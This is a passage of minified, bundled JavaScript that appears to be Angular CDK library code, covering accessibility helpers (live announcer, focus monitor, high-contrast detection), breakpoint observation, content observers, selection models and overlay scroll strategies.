u[0]?i=u[0]:(n=(e=o(u,2))[0],i=e[1]),this.clear(),clearTimeout(this._previousTimeout),n||(n=a&&a.politeness?a.politeness:"polite"),null==i&&a&&(i=a.duration),this._liveElement.setAttribute("aria-live",n),this._ngZone.runOutsideAngular(function(){return new Promise(function(e){clearTimeout(r._previousTimeout),r._previousTimeout=setTimeout(function(){r._liveElement.textContent=t,e(),"number"==typeof i&&(r._previousTimeout=setTimeout(function(){return r.clear()},i))},100)})})}},{key:"clear",value:function(){this._liveElement&&(this._liveElement.textContent="")}},{key:"ngOnDestroy",value:function(){clearTimeout(this._previousTimeout),this._liveElement&&this._liveElement.parentNode&&(this._liveElement.parentNode.removeChild(this._liveElement),this._liveElement=null)}},{key:"_createLiveElement",value:function(){for(var t="cdk-live-announcer-element",e=this._document.getElementsByClassName(t),n=this._document.createElement("div"),i=0;i<e.length;i++)e[i].parentNode.removeChild(e[i]);return n.classList.add(t),n.classList.add("cdk-visually-hidden"),n.setAttribute("aria-atomic","true"),n.setAttribute("aria-live","polite"),this._document.body.appendChild(n),n}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.LFG(tt,8),r.LFG(r.R0b),r.LFG(i.K0),r.LFG(et,8))},t.\u0275prov=r.Yz7({factory:function(){return new t(r.LFG(tt,8),r.LFG(r.R0b),r.LFG(i.K0),r.LFG(et,8))},token:t,providedIn:"root"}),t}(),it=function(){var t=function(){function t(e,n,i,r){_(this,t),this._elementRef=e,this._liveAnnouncer=n,this._contentObserver=i,this._ngZone=r,this._politeness="polite"}return y(t,[{key:"politeness",get:function(){return this._politeness},set:function(t){var e=this;this._politeness="off"===t||"assertive"===t?t:"polite","off"===this._politeness?this._subscription&&(this._subscription.unsubscribe(),this._subscription=null):this._subscription||(this._subscription=this._ngZone.runOutsideAngular(function(){return e._contentObserver.observe(e._elementRef).subscribe(function(){var t=e._elementRef.nativeElement.textContent;t!==e._previousAnnouncedText&&(e._liveAnnouncer.announce(t,e._politeness),e._previousAnnouncedText=t)})}))}},{key:"ngOnDestroy",value:function(){this._subscription&&this._subscription.unsubscribe()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.Y36(r.SBq),r.Y36(nt),r.Y36(A.yq),r.Y36(r.R0b))},t.\u0275dir=r.lG2({type:t,selectors:[["","cdkAriaLive",""]],inputs:{politeness:["cdkAriaLive","politeness"]},exportAs:["cdkAriaLive"]}),t}(),rt=new r.OlP("cdk-focus-monitor-default-options"),ot=(0,E.i$)({passive:!0,capture:!0}),at=function(){var t=function(){function t(e,n,i,r,o){var s=this;_(this,t),this._ngZone=e,this._platform=n,this._inputModalityDetector=i,this._origin=null,this._windowFocused=!1,this._originFromTouchInteraction=!1,this._elementInfo=new Map,this._monitoredElementCount=0,this._rootNodeFocusListenerCount=new Map,this._windowFocusListener=function(){s._windowFocused=!0,s._windowFocusTimeoutId=setTimeout(function(){return s._windowFocused=!1})},this._stopInputModalityDetector=new a.xQ,this._rootNodeFocusAndBlurListener=function(t){for(var e=(0,E.sA)(t),n="focus"===t.type?s._onFocus:s._onBlur,i=e;i;i=i.parentElement)n.call(s,t,i)},this._document=r,this._detectionMode=(null==o?void 0:o.detectionMode)||0}return y(t,[{key:"monitor",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=(0,S.fI)(t);if(!this._platform.isBrowser||1!==n.nodeType)return(0,h.of)(null);var i=(0,E.kV)(n)||this._getDocument(),r=this._elementInfo.get(n);if(r)return e&&(r.checkChildren=!0),r.subject;var o={checkChildren:e,subject:new a.xQ,rootNode:i};return this._elementInfo.set(n,o),this._registerGlobalListeners(o),o.subject}},{key:"stopMonitoring",value:function(t){var e=(0,S.fI)(t),n=this._elementInfo.get(e);n&&(n.subject.complete(),this._setClasses(e),this._elementInfo.delete(e),this._removeGlobalListeners(n))}},{key:"focusVia",value:function(t,e,n){var i=this,r=(0,S.fI)(t);r===this._getDocument().activeElement?this._getClosestElementsInfo(r).forEach(function(t){var n=o(t,2),r=n[0],a=n[1];return i._originChanged(r,e,a)}):(this._setOrigin(e),"function"==typeof r.focus&&r.focus(n))}},{key:"ngOnDestroy",value:function(){var t=this;this._elementInfo.forEach(function(e,n){return t.stopMonitoring(n)})}},{key:"_getDocument",value:function(){return this._document||document}},{key:"_getWindow",value:function(){return this._getDocument().defaultView||window}},{key:"_toggleClass",value:function(t,e,n){n?t.classList.add(e):t.classList.remove(e)}},{key:"_getFocusOrigin",value:function(t){return this._origin?this._originFromTouchInteraction?this._shouldBeAttributedToTouch(t)?"touch":"program":this._origin:this._windowFocused&&this._lastFocusOrigin?this._lastFocusOrigin:"program"}},{key:"_shouldBeAttributedToTouch",value:function(t){return 1===this._detectionMode||!!(null==t?void 0:t.contains(this._inputModalityDetector._mostRecentTarget))}},{key:"_setClasses",value:function(t,e){this._toggleClass(t,"cdk-focused",!!e),this._toggleClass(t,"cdk-touch-focused","touch"===e),this._toggleClass(t,"cdk-keyboard-focused","keyboard"===e),this._toggleClass(t,"cdk-mouse-focused","mouse"===e),this._toggleClass(t,"cdk-program-focused","program"===e)}},{key:"_setOrigin",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];this._ngZone.runOutsideAngular(function(){e._origin=t,e._originFromTouchInteraction="touch"===t&&n,0===e._detectionMode&&(clearTimeout(e._originTimeoutId),e._originTimeoutId=setTimeout(function(){return e._origin=null},e._originFromTouchInteraction?650:1))})}},{key:"_onFocus",value:function(t,e){var n=this._elementInfo.get(e),i=(0,E.sA)(t);!n||!n.checkChildren&&e!==i||this._originChanged(e,this._getFocusOrigin(i),n)}},{key:"_onBlur",value:function(t,e){var n=this._elementInfo.get(e);!n||n.checkChildren&&t.relatedTarget instanceof Node&&e.contains(t.relatedTarget)||(this._setClasses(e),this._emitOrigin(n.subject,null))}},{key:"_emitOrigin",value:function(t,e){this._ngZone.run(function(){return t.next(e)})}},{key:"_registerGlobalListeners",value:function(t){var e=this;if(this._platform.isBrowser){var n=t.rootNode,i=this._rootNodeFocusListenerCount.get(n)||0;i||this._ngZone.runOutsideAngular(function(){n.addEventListener("focus",e._rootNodeFocusAndBlurListener,ot),n.addEventListener("blur",e._rootNodeFocusAndBlurListener,ot)}),this._rootNodeFocusListenerCount.set(n,i+1),1==++this._monitoredElementCount&&(this._ngZone.runOutsideAngular(function(){e._getWindow().addEventListener("focus",e._windowFocusListener)}),this._inputModalityDetector.modalityDetected.pipe((0,x.R)(this._stopInputModalityDetector)).subscribe(function(t){e._setOrigin(t,!0)}))}}},{key:"_removeGlobalListeners",value:function(t){var e=t.rootNode;if(this._rootNodeFocusListenerCount.has(e)){var n=this._rootNodeFocusListenerCount.get(e);n>1?this._rootNodeFocusListenerCount.set(e,n-1):(e.removeEventListener("focus",this._rootNodeFocusAndBlurListener,ot),e.removeEventListener("blur",this._rootNodeFocusAndBlurListener,ot),this._rootNodeFocusListenerCount.delete(e))}--this._monitoredElementCount||(this._getWindow().removeEventListener("focus",this._windowFocusListener),this._stopInputModalityDetector.next(),clearTimeout(this._windowFocusTimeoutId),clearTimeout(this._originTimeoutId))}},{key:"_originChanged",value:function(t,e,n){this._setClasses(t,e),this._emitOrigin(n.subject,e),this._lastFocusOrigin=e}},{key:"_getClosestElementsInfo",value:function(t){var e=[];return this._elementInfo.forEach(function(n,i){(i===t||n.checkChildren&&i.contains(t))&&e.push([i,n])}),e}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.LFG(r.R0b),r.LFG(E.t4),r.LFG($),r.LFG(i.K0,8),r.LFG(rt,8))},t.\u0275prov=r.Yz7({factory:function(){return new t(r.LFG(r.R0b),r.LFG(E.t4),r.LFG($),r.LFG(i.K0,8),r.LFG(rt,8))},token:t,providedIn:"root"}),t}(),st=function(){var t=function(){function t(e,n){_(this,t),this._elementRef=e,this._focusMonitor=n,this.cdkFocusChange=new r.vpe}return y(t,[{key:"ngAfterViewInit",value:function(){var t=this,e=this._elementRef.nativeElement;this._monitorSubscription=this._focusMonitor.monitor(e,1===e.nodeType&&e.hasAttribute("cdkMonitorSubtreeFocus")).subscribe(function(e){return t.cdkFocusChange.emit(e)})}},{key:"ngOnDestroy",value:function(){this._focusMonitor.stopMonitoring(this._elementRef),this._monitorSubscription&&this._monitorSubscription.unsubscribe()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.Y36(r.SBq),r.Y36(at))},t.\u0275dir=r.lG2({type:t,selectors:[["","cdkMonitorElementFocus",""],["","cdkMonitorSubtreeFocus",""]],outputs:{cdkFocusChange:"cdkFocusChange"}}),t}(),ut="cdk-high-contrast-black-on-white",ct="cdk-high-contrast-white-on-black",lt="cdk-high-contrast-active",ht=function(){var t=function(){function t(e,n){_(this,t),this._platform=e,this._document=n}return y(t,[{key:"getHighContrastMode",value:function(){if(!this._platform.isBrowser)return 0;var t=this._document.createElement("div");t.style.backgroundColor="rgb(1,2,3)",t.style.position="absolute",this._document.body.appendChild(t);var e=this._document.defaultView||window,n=e&&e.getComputedStyle?e.getComputedStyle(t):null,i=(n&&n.backgroundColor||"").replace(/ /g,"");switch(this._document.body.removeChild(t),i){case"rgb(0,0,0)":return 2;case"rgb(255,255,255)":return 1}return 0}},{key:"_applyBodyHighContrastModeCssClasses",value:function(){if(!this._hasCheckedHighContrastMode&&this._platform.isBrowser&&this._document.body){var t=this._document.body.classList;t.remove(lt),t.remove(ut),t.remove(ct),this._hasCheckedHighContrastMode=!0;var e=this.getHighContrastMode();1===e?(t.add(lt),t.add(ut)):2===e&&(t.add(lt),t.add(ct))}}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.LFG(E.t4),r.LFG(i.K0))},t.\u0275prov=r.Yz7({factory:function(){return new t(r.LFG(E.t4),r.LFG(i.K0))},token:t,providedIn:"root"}),t}(),ft=function(){var t=function t(e){_(this,t),e._applyBodyHighContrastModeCssClasses()};return t.\u0275fac=function(e){return new(e||t)(r.LFG(ht))},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({imports:[[E.ud,A.Q8]]}),t}()},772:function(t,e,n){"use strict";n.d(e,{vT:function(){return u},Is:function(){return s}});var i,r=n(2316),o=n(54364),a=new r.OlP("cdk-dir-doc",{providedIn:"root",factory:function(){return(0,r.f3M)(o.K0)}}),s=((i=function(){function t(e){if(_(this,t),this.value="ltr",this.change=new r.vpe,e){var n=e.documentElement?e.documentElement.dir:null,i=(e.body?e.body.dir:null)||n;this.value="ltr"===i||"rtl"===i?i:"ltr"}}return y(t,[{key:"ngOnDestroy",value:function(){this.change.complete()}}]),t}()).\u0275fac=function(t){return new(t||i)(r.LFG(a,8))},i.\u0275prov=r.Yz7({factory:function(){return new i(r.LFG(a,8))},token:i,providedIn:"root"}),i),u=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({}),t}()},62604:function(t,e,n){"use strict";n.d(e,{P3:function(){return h},Ov:function(){return p},A8:function(){return v},eX:function(){return d},k:function(){return m},Z9:function(){return u}});var i=n(64674),o=n(81134),a=n(79441),s=n(2316);function u(t){return t&&"function"==typeof t.connect}var c,h=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this))._data=t,i}return y(n,[{key:"connect",value:function(){return(0,i.b)(this._data)?this._data:(0,o.of)(this._data)}},{key:"disconnect",value:function(){}}]),n}(function(){return function t(){_(this,t)}}()),d=function(){function t(){_(this,t),this.viewCacheSize=20,this._viewCache=[]}return y(t,[{key:"applyChanges",value:function(t,e,n,i,r){var o=this;t.forEachOperation(function(t,a,s){var u,c;null==t.previousIndex?c=(u=o._insertView(function(){return n(t,a,s)},s,e,i(t)))?1:0:null==s?(o._detachAndCacheView(a,e),c=3):(u=o._moveView(a,s,e,i(t)),c=2),r&&r({context:null==u?void 0:u.context,operation:c,record:t})})}},{key:"detach",value:function(){var t,e=r(this._viewCache);try{for(e.s();!(t=e.n()).done;){t.value.destroy()}}catch(n){e.e(n)}finally{e.f()}this._viewCache=[]}},{key:"_insertView",value:function(t,e,n,i){var r=this._insertViewFromCache(e,n);if(!r){var o=t();return n.createEmbeddedView(o.templateRef,o.context,o.index)}r.context.$implicit=i}},{key:"_detachAndCacheView",value:function(t,e){var n=e.detach(t);this._maybeCacheView(n,e)}},{key:"_moveView",value:function(t,e,n,i){var r=n.get(t);return n.move(r,e),r.context.$implicit=i,r}},{key:"_maybeCacheView",value:function(t,e){if(this._viewCache.length<this.viewCacheSize)this._viewCache.push(t);else{var n=e.indexOf(t);-1===n?t.destroy():e.remove(n)}}},{key:"_insertViewFromCache",value:function(t,e){var n=this._viewCache.pop();return n&&e.insert(n,t),n||null}}]),t}(),p=function(){function t(){var e=this,n=arguments.length>0&&void 0!==arguments[0]&&arguments[0],i=arguments.length>1?arguments[1]:void 0,r=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];_(this,t),this._multiple=n,this._emitChanges=r,this._selection=new Set,this._deselectedToEmit=[],this._selectedToEmit=[],this.changed=new a.xQ,i&&i.length&&(n?i.forEach(function(t){return e._markSelected(t)}):this._markSelected(i[0]),this._selectedToEmit.length=0)}return y(t,[{key:"selected",get:function(){return this._selected||(this._selected=Array.from(this._selection.values())),this._selected}},{key:"select",value:function(){for(var t=this,e=arguments.length,n=new Array(e),i=0;i<e;i++)n[i]=arguments[i];this._verifyValueAssignment(n),n.forEach(function(e){return t._markSelected(e)}),this._emitChangeEvent()}},{key:"deselect",value:function(){for(var t=this,e=arguments.length,n=new Array(e),i=0;i<e;i++)n[i]=arguments[i];this._verifyValueAssignment(n),n.forEach(function(e){return t._unmarkSelected(e)}),this._emitChangeEvent()}},{key:"toggle",value:function(t){this.isSelected(t)?this.deselect(t):this.select(t)}},{key:"clear",value:function(){this._unmarkAll(),this._emitChangeEvent()}},{key:"isSelected",value:function(t){return this._selection.has(t)}},{key:"isEmpty",value:function(){return 0===this._selection.size}},{key:"hasValue",value:function(){return!this.isEmpty()}},{key:"sort",value:function(t){this._multiple&&this.selected&&this._selected.sort(t)}},{key:"isMultipleSelection",value:function(){return this._multiple}},{key:"_emitChangeEvent",value:function(){this._selected=null,(this._selectedToEmit.length||this._deselectedToEmit.length)&&(this.changed.next({source:this,added:this._selectedToEmit,removed:this._deselectedToEmit}),this._deselectedToEmit=[],this._selectedToEmit=[])}},{key:"_markSelected",value:function(t){this.isSelected(t)||(this._multiple||this._unmarkAll(),this._selection.add(t),this._emitChanges&&this._selectedToEmit.push(t))}},{key:"_unmarkSelected",value:function(t){this.isSelected(t)&&(this._selection.delete(t),this._emitChanges&&this._deselectedToEmit.push(t))}},{key:"_unmarkAll",value:function(){var t=this;this.isEmpty()||this._selection.forEach(function(e){return t._unmarkSelected(e)})}},{key:"_verifyValueAssignment",value:function(t){}}]),t}(),v=((c=function(){function t(){_(this,t),this._listeners=[]}return y(t,[{key:"notify",value:function(t,e){var n,i=r(this._listeners);try{for(i.s();!(n=i.n()).done;)(0,n.value)(t,e)}catch(o){i.e(o)}finally{i.f()}}},{key:"listen",value:function(t){var e=this;return this._listeners.push(t),function(){e._listeners=e._listeners.filter(function(e){return t!==e})}}},{key:"ngOnDestroy",value:function(){this._listeners=[]}}]),t}()).\u0275fac=function(t){return new(t||c)},c.\u0275prov=s.Yz7({factory:function(){return new c},token:c,providedIn:"root"}),c),m=new s.OlP("_ViewRepeater")},90084:function(t,e,n){"use strict";n.d(e,{A:function(){return w},zL:function(){return u},ZH:function(){return i},jx:function(){return s},yY:function(){return _},JH:function(){return y},uR:function(){return d},K5:function(){return o},hY:function(){return c},Sd:function(){return p},oh:function(){return v},b2:function(){return S},MW:function(){return x},aO:function(){return k},VM:function(){return f},Ku:function(){return h},SV:function(){return g},JU:function(){return a},L_:function(){return l},Mf:function(){return r},LH:function(){return m},Z:function(){return C},xE:function(){return b},Vb:function(){return E}});var i=8,r=9,o=13,a=16,s=17,u=18,c=27,l=32,h=33,f=34,d=35,p=36,v=37,m=38,g=39,y=40,_=46,b=48,k=57,w=65,C=90,x=91,S=224;function E(t){for(var e=arguments.length,n=new Array(e>1?e-1:0),i=1;i<e;i++)n[i-1]=arguments[i];return n.length?n.some(function(e){return t[e]}):t.altKey||t.shiftKey||t.ctrlKey||t.metaKey}},66883:function(t,e,n){"use strict";n.d(e,{Yg:function(){return C},u3:function(){return S}});var i,r,o=n(2316),a=n(20657),s=n(79441),u=n(79097),c=n(83972),l=n(89544),h=n(53466),f=n(84515),d=n(80639),p=n(33927),v=n(1143),m=n(22663),g=n(36145),b=new Set,k=((r=function(){function t(e){_(this,t),this._platform=e,this._matchMedia=this._platform.isBrowser&&window.matchMedia?window.matchMedia.bind(window):w}return y(t,[{key:"matchMedia",value:function(t){return(this._platform.WEBKIT||this._platform.BLINK)&&function(t){if(!b.has(t))try{i||((i=document.createElement("style")).setAttribute("type","text/css"),document.head.appendChild(i)),i.sheet&&(i.sheet.insertRule("@media ".concat(t," {body{ }}"),0),b.add(t))}catch(e){console.error(e)}}(t),this._matchMedia(t)}}]),t}()).\u0275fac=function(t){return new(t||r)(o.LFG(g.t4))},r.\u0275prov=o.Yz7({factory:function(){return new r(o.LFG(g.t4))},token:r,providedIn:"root"}),r);function w(t){return{matches:"all"===t||""===t,media:t,addListener:function(){},removeListener:function(){}}}var C=function(){var t=function(){function t(e,n){_(this,t),this._mediaMatcher=e,this._zone=n,this._queries=new Map,this._destroySubject=new s.xQ}return y(t,[{key:"ngOnDestroy",value:function(){this._destroySubject.next(),this._destroySubject.complete()}},{key:"isMatched",value:function(t){var e=this;return x((0,a.Eq)(t)).some(function(t){return e._registerQuery(t).mql.matches})}},{key:"observe",value:function(t){var e=this,n=x((0,a.Eq)(t)).map(function(t){return e._registerQuery(t).observable}),i=(0,u.aj)(n);return(i=(0,c.z)(i.pipe((0,h.q)(1)),i.pipe((0,f.T)(1),(0,d.b)(0)))).pipe((0,p.U)(function(t){var e={matches:!1,breakpoints:{}};return t.forEach(function(t){var n=t.matches,i=t.query;e.matches=e.matches||n,e.breakpoints[i]=n}),e}))}},{key:"_registerQuery",value:function(t){var e=this;if(this._queries.has(t))return this._queries.get(t);var n=this._mediaMatcher.matchMedia(t),i={observable:new l.y(function(t){var i=function(n){return e._zone.run(function(){return t.next(n)})};return n.addListener(i),function(){n.removeListener(i)}}).pipe((0,v.O)(n),(0,p.U)(function(e){var n=e.matches;return{query:t,matches:n}}),(0,m.R)(this._destroySubject)),mql:n};return this._queries.set(t,i),i}}]),t}();return t.\u0275fac=function(e){return new(e||t)(o.LFG(k),o.LFG(o.R0b))},t.\u0275prov=o.Yz7({factory:function(){return new t(o.LFG(k),o.LFG(o.R0b))},token:t,providedIn:"root"}),t}();function x(t){return t.map(function(t){return t.split(",")}).reduce(function(t,e){return t.concat(e)}).map(function(t){return t.trim()})}var S={XSmall:"(max-width: 599.98px)",Small:"(min-width: 600px) and (max-width: 959.98px)",Medium:"(min-width: 960px) and (max-width: 1279.98px)",Large:"(min-width: 1280px) and (max-width: 1919.98px)",XLarge:"(min-width: 1920px)",Handset:"(max-width: 599.98px) and (orientation: portrait), (max-width: 959.98px) and (orientation: landscape)",Tablet:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait), (min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",Web:"(min-width: 840px) and (orientation: portrait), (min-width: 1280px) and (orientation: landscape)",HandsetPortrait:"(max-width: 599.98px) and (orientation: portrait)",TabletPortrait:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait)",WebPortrait:"(min-width: 840px) and (orientation: portrait)",HandsetLandscape:"(max-width: 959.98px) and (orientation: landscape)",TabletLandscape:"(min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",WebLandscape:"(min-width: 1280px) and (orientation: landscape)"}},90851:function(t,e,n){"use strict";n.d(e,{wD:function(){return h},yq:function(){return l},Q8:function(){return f}});var i,r=n(20657),o=n(2316),a=n(89544),s=n(79441),u=n(80639),c=((i=function(){function t(){_(this,t)}return y(t,[{key:"create",value:function(t){return"undefined"==typeof MutationObserver?null:new MutationObserver(t)}}]),t}()).\u0275fac=function(t){return new(t||i)},i.\u0275prov=o.Yz7({factory:function(){return new i},token:i,providedIn:"root"}),i),l=function(){var t=function(){function t(e){_(this,t),this._mutationObserverFactory=e,this._observedElements=new Map}return y(t,[{key:"ngOnDestroy",value:function(){var t=this;this._observedElements.forEach(function(e,n){return t._cleanupObserver(n)})}},{key:"observe",value:function(t){var e=this,n=(0,r.fI)(t);return new a.y(function(t){var i=e._observeElement(n).subscribe(t);return function(){i.unsubscribe(),e._unobserveElement(n)}})}},{key:"_observeElement",value:function(t){if(this._observedElements.has(t))this._observedElements.get(t).count++;else{var e=new s.xQ,n=this._mutationObserverFactory.create(function(t){return e.next(t)});n&&n.observe(t,{characterData:!0,childList:!0,subtree:!0}),this._observedElements.set(t,{observer:n,stream:e,count:1})}return this._observedElements.get(t).stream}},{key:"_unobserveElement",value:function(t){this._observedElements.has(t)&&(this._observedElements.get(t).count--,this._observedElements.get(t).count||this._cleanupObserver(t))}},{key:"_cleanupObserver",value:function(t){if(this._observedElements.has(t)){var e=this._observedElements.get(t),n=e.observer,i=e.stream;n&&n.disconnect(),i.complete(),this._observedElements.delete(t)}}}]),t}();return t.\u0275fac=function(e){return new(e||t)(o.LFG(c))},t.\u0275prov=o.Yz7({factory:function(){return new t(o.LFG(c))},token:t,providedIn:"root"}),t}(),h=function(){var t=function(){function t(e,n,i){_(this,t),this._contentObserver=e,this._elementRef=n,this._ngZone=i,this.event=new o.vpe,this._disabled=!1,this._currentSubscription=null}return y(t,[{key:"disabled",get:function(){return this._disabled},set:function(t){this._disabled=(0,r.Ig)(t),this._disabled?this._unsubscribe():this._subscribe()}},{key:"debounce",get:function(){return this._debounce},set:function(t){this._debounce=(0,r.su)(t),this._subscribe()}},{key:"ngAfterContentInit",value:function(){!this._currentSubscription&&!this.disabled&&this._subscribe()}},{key:"ngOnDestroy",value:function(){this._unsubscribe()}},{key:"_subscribe",value:function(){var t=this;this._unsubscribe();var e=this._contentObserver.observe(this._elementRef);this._ngZone.runOutsideAngular(function(){t._currentSubscription=(t.debounce?e.pipe((0,u.b)(t.debounce)):e).subscribe(t.event)})}},{key:"_unsubscribe",value:function(){var t;null===(t=this._currentSubscription)||void 0===t||t.unsubscribe()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(o.Y36(l),o.Y36(o.SBq),o.Y36(o.R0b))},t.\u0275dir=o.lG2({type:t,selectors:[["","cdkObserveContent",""]],inputs:{disabled:["cdkObserveContentDisabled","disabled"],debounce:"debounce"},outputs:{event:"cdkObserveContent"},exportAs:["cdkObserveContent"]}),t}(),f=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=o.oAB({type:t}),t.\u0275inj=o.cJS({providers:[c]}),t}()},6199:function(t,e,n){"use strict";n.d(e,{pI:function(){return ot},xu:function(){return rt},_G:function(){return z},aV:function(){return et},X_:function(){return M},Xj:function(){return V},U8:function(){return st}});var i=n(22102),a=n(2316),s=n(36145),c=n(772),h=n(54364),d=n(20657),p=n(40912),v=n(79441),g=n(11318),b=n(89919),k=n(71003),w=function(){function t(e,n){_(this,t),this.predicate=e,this.inclusive=n}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new C(t,this.predicate,this.inclusive))}}]),t}(),C=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,t)).predicate=i,o.inclusive=r,o.index=0,o}return y(n,[{key:"_next",value:function(t){var e,n=this.destination;try{e=this.predicate(t,this.index++)}catch(i){return void n.error(i)}this.nextOrComplete(t,e)}},{key:"nextOrComplete",value:function(t,e){var n=this.destination;Boolean(e)?n.next(t):(this.inclusive&&n.next(t),n.complete())}}]),n}(k.L),x=n(53466),S=n(22663),E=n(90084),A=(0,s.Mq)(),T=function(){function t(e,n){_(this,t),this._viewportRuler=e,this._previousHTMLStyles={top:"",left:""},this._isEnabled=!1,this._document=n}return y(t,[{key:"attach",value:function(){}},{key:"enable",value:function(){if(this._canBeEnabled()){var t=this._document.documentElement;this._previousScrollPosition=this._viewportRuler.getViewportScrollPosition(),this._previousHTMLStyles.left=t.style.left||"",this._previousHTMLStyles.top=t.style.top||"",t.style.left=(0,d.HM)(-this._previousScrollPosition.left),t.style.top=(0,d.HM)(-this._previousScrollPosition.top),t.classList.add("cdk-global-scrollblock"),this._isEnabled=!0}}},{key:"disable",value:function(){if(this._isEnabled){var t=this._document.documentElement,e=t.style,n=this._document.body.style,i=e.scrollBehavior||"",r=n.scrollBehavior||"";this._isEnabled=!1,e.left=this._previousHTMLStyles.left,e.top=this._previousHTMLStyles.top,t.classList.remove("cdk-global-scrollblock"),A&&(e.scrollBehavior=n.scrollBehavior="auto"),window.scroll(this._previousScrollPosition.left,this._previousScrollPosition.top),A&&(e.scrollBehavior=i,n.scrollBehavior=r)}}},{key:"_canBeEnabled",value:function(){if(this._document.documentElement.classList.contains("cdk-global-scrollblock")||this._isEnabled)return!1;var t=this._document.body,e=this._viewportRuler.getViewportSize();return t.scrollHeight>e.height||t.scrollWidth>e.width}}]),t}(),I=function(){function t(e,n,i,r){var o=this;_(this,t),this._scrollDispatcher=e,this._ngZone=n,this._viewportRuler=i,this._config=r,this._scrollSubscription=null,this._detach=function(){o.disable(),o._overlayRef.hasAttached()&&o._ngZone.run(function(){return o._overlayRef.detach()})}}return y(t,[{key:"attach",value:function(t){this._overlayRef=t}},{key:"enable",value:function(){var t=this;if(!this._scrollSubscription){var e=this._scrollDispatcher.scrolled(0);this._config&&this._config.threshold&&this._config.threshold>1?(this._initialScrollPosition=this._viewportRuler.getViewportScrollPosition().top,this._scrollSubscription=e.subscribe(function(){var e=t._viewportRuler.getViewportScrollPosition().top;Math.abs(e-t._initialScrollPosition)>t._config.threshold?t._detach():t._overlayRef.updatePosition()})):this._scrollSubscription=e.subscribe(this._detach)}}},{key:"disable",value:function(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}},{key:"detach",value:function(){this.disable(),this._overlayRef=null}}]),t}(),O=function(){function t(){_(this,t)}return y(t,[{key:"enable",value:function(){}},{key:"disable",value:function(){}},{key:"attach",value:function(){}}]),t}();function R(t,e){return e.some(function(e){return t.bottom<e.top||t.top>e.bottom||t.right<e.left||t.left>e.right})}function P(t,e){return e.some(function(e){return t.top<e.top||t.bottom>e.bottom||t.left<e.left||t.right>e.right})}var N,D=function(){function t(e,n,i,r){_(this,t),this._scrollDispatcher=e,this._viewportRuler=n,this._ngZone=i,this._config=r,this._scrollSubscription=null}return y(t,[{key:"attach",value:function(t){this._overlayRef=t}},{key:"enable",value:function(){var t=this;this._scrollSubscription||(this._scrollSubscription=this._scrollDispatcher.scrolled(this._config?this._config.scrollThrottle:0).subscribe(function(){if(t._overlayRef.updatePosition(),t._config&&t._config.autoClose){var e=t._overlayRef.overlayElement.getBoundingClientRect(),n=t._viewportRuler.getViewportSize(),i=n.width,r=n.height;R(e,[{width:i,height:r,bottom:r,right:i,top:0,left:0}])&&(t.disable(),t._ngZone.run(function(){return t._overlayRef.detach()}))}}))}},{key:"disable",value:function(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}},{key:"detach",value:function(){this.disable(),this._overlayRef=null}}]),t}(),L=((N=function t(e,n,i,r){var o=this;_(this,t),this._scrollDispatcher=e,this._viewportRuler=n,this._ngZone=i,this.noop=function(){return new O},this.close=function(t){return new I(o._scrollDispatcher,o._ngZone,o._viewportRuler,t)},this.block=function(){return new T(o._viewportRuler,o._document)},this.reposition=function(t){return new D(o._scrollDispatcher,o._viewportRuler,o._ngZone,t)},this._document=r}).\u0275fac=function(t){return new(t||N)(a.LFG(i.mF),a.LFG(i.rL),a.LFG(a.R0b),a.LFG(h.K0))},N.\u0275prov=a.Yz7({factory:function(){return new N(a.LFG(i.mF),a.LFG(i.rL),a.LFG(a.R0b),a.LFG(h.K0))},token:N,providedIn:"root"}),N),M=function t(e){if(_(this,t),this.scrollStrategy=new O,this.panelClass="",this.hasBackdrop=!1,this.backdropClass="cdk-overlay-dark-backdrop",this.disposeOnNavigation=!1,e)for(var n=0,i=Object.keys(e);n<i.length;n++){var r=i[n];void 0!==e[r]&&(this[r]=e[r])}},F=function t(e,n,i,r,o){_(this,t),this.offsetX=i,this.offsetY=r,this.panelClass=o,this.originX=e.originX,this.originY=e.originY,this.overlayX=n.overlayX,this.overlayY=n.overlayY},U=function t(e,n){_(this,t),this.connectionPair=e,this.scrollableViewProperties=n},B=function(){var t=function(){function t(e){_(this,t),this._attachedOverlays=[],this._document=e}return y(t,[{key:"ngOnDestroy",value:function(){this.detach()}},{key:"add",value:function(t){this.remove(t),this._attachedOverlays.push(t)}},{key:"remove",value:function(t){var e=this._attachedOverlays.indexOf(t);e>-1&&this._attachedOverlays.splice(e,1),0===this._attachedOverlays.length&&this.detach()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(h.K0))},t.\u0275prov=a.Yz7({factory:function(){return new t(a.LFG(h.K0))},token:t,providedIn:"root"}),t}(),j=function(){var t=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this,t))._keydownListener=function(t){for(var e=i._attachedOverlays,n=e.length-1;n>-1;n--)if(e[n]._keydownEvents.observers.length>0){e[n]._keydownEvents.next(t);break}},i}return y(n,[{key:"add",value:function(t){u(m(n.prototype),"add",this).call(this,t),this._isAttached||(this._document.body.addEventListener("keydown",this._keydownListener),this._isAttached=!0)}},{key:"detach",value:function(){this._isAttached&&(this._document.body.removeEventListener("keydown",this._keydownListener),this._isAttached=!1)}}]),n}(B);return 